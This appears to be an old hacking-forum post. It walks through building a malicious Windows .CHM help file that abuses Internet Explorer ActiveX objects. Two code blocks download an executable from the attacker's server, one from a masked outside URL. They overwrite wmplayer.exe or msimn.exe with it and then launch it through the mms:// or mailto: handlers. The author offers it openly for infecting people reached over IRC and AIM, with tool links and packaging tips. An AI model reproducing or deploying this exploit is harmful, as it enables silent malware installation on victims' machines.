Internet Explorer - WMPlayer - [.CHM] Explained Well First of all this is based, on these people that wee see spamming
Around on IRC,AiM or w/e ... basically the one that i am going to explain
Is based to execute through
[Windows Media Player]So only people that have
WMplayer installed will be affected,
But ofcourse alot of ways to get people infected, and they wont recognize
We even tested running a .vbs scripts, which could be a crypted worm..
On the bottom, ill show another example, execute through
[Outlook Express]So first you will need to create few files.. to make the .chm file
- .HHC = Tables of Contents
- .HHK = Help Index
- *HTM = Your .HTM , this one is the actual exploit, inside the .CHM
We will need one tool, i found it ez to use:
http://htm2chm.by.ru/This is the Example of the files inside the .CHM , u can edit them and
Compile with the Program Above.
These Files Are Decompiled From .CHM
After You Edit them, u must Compile with The tool!
exploit.HHC | CODE |
<script language="vbscript">
Function Exists(filename)
On Error Resume Next
LoadPicture(filename)
Exists = Err.Number = 481
End Function
</script>
<script language="javascript">
wmplayerpaths= [
"C:\\Programmer\\Windows Media Player\\wmplayer.exe",
"C:\\Program\\Windows Media Player\\wmplayer.exe",
"C:\\Programme\\Windows Media Player\\wmplayer.exe",
"C:\\Programmi\\Windows Media Player\\wmplayer.exe",
"C:\\Programfiler\\Windows Media Player\\wmplayer.exe",
"C:\\Programas\\Windows Media Player\\wmplayer.exe",
"C:\\Archivos de programa\\Windows Media Player\\wmplayer.exe",
"C:\\Program Files\\Windows Media Player\\wmplayer.exe"
];
for (i=0;i<wmplayerpaths.length;i++) {
wmplayerpath = wmplayerpaths[i];
if (Exists(wmplayerpath))
break;
}
function getPath(url) {
start = url.indexOf('http:')
end = url.indexOf('EXPLOIT.CHM')
return url.substring(start, end);
}
payloadURL = getPath(location.href)+'yourfile.exe'; <- must be in-same dir as .chm file, in this example
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET",payloadURL,0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile(wmplayerpath,2);
location.href = "mms://";
</script>
[CODE]
So edit watchya gotta edit, i binded a .rar file with this so u can take look
If you getting an error, means u doing something wrong, as the files are rared
Works 100%, anyhow figure it out your self
You dont have to backup anything, WMplayer backs it self out just like some other win files.
Ex1 - Outlook Express..
[CODE]
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://****/****.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files\\Outlook Express\\msimn.exe",2);
location.href = "mailto:";
function preparecode(code) {
result = '';
lines = code.split(/\r\n/);
for (i=0;i<lines.length;i++) {
line = lines[i];
line = line.replace(/^\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\\'");
line = line.replace(/[\\]/g,"\\\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval('" + mycode + "')";
window.open(myURL,"_media")
}
window.open("error.jsp", "_media");
setTimeout("doit()", 50000);
|
, thnx 
